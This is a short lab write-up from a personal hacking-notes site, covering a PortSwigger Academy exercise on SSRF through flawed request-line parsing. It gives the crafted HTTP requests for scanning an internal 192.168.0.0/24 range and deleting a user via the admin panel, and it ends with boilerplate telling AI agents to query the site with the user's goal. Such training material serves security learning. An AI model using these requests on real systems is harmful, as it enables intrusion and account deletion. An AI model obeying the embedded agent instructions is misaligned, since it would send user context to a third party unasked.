> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/host-header/ssrf-via-incorrect-query-parsing.md).
# SSRF via Incorrect Query Parsing
SSRF via Incorrect Query Parsing notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### SSRF via Flawed Request Parsing
This lab is vulnerable to a **SSRF based on routing**. The server misinterprets the host actually targeted by the query. The goal is to reach the internal administration panel, then delete the user **carlos**.
### Initial Observation
Edit directly the `Host` header does not work. The request remains blocked.
```http
Host: jord4n.pro
```
### Parsing Around
The key point here is the request format. When using an absolute **URL**, the application attempts to resolve the host indicated in the query line. The `Host` header then becomes secondary.
```html
GET https://0a4600ce03a5ed7982aa3e3c00050023.web-security-academy.net/ HTTP/2
Host: test.com
```
The answer confirms this behavior. The server is trying to reach `test.com`.
```html
Server Error: Gateway Timeout (3) connecting to test.com
```
### Internal Host Discovery
We can now sweep the internal `192.168.0.0/24` range. The simplest is to use **Intruder** on the last byte.
```http
GET https://0a4600ce03a5ed7982aa3e3c00050023.web-security-academy.net/ HTTP/2
Host: 192.168.0.X
```
The `192.168.0.92` address responds with `302` code. This response indicates the presence of the administration panel.
### Removal of the User
After identifying the internal host, we open `/admin`. We then retrieve the CSRF token from the page. Simply send the deletion request to the internal host.
```http
POST https://0a4600ce03a5ed7982aa3e3c00050023.web-security-academy.net/admin/delete HTTP/2
Host: 192.168.0.92
csrf=Rrh5bY7GRvuOjDW1nTUWrIjaqAdlTvtW&username=carlos
```
The removal of **carlos** validates the lab.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/web/host-header/ssrf-via-incorrect-query-parsing.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
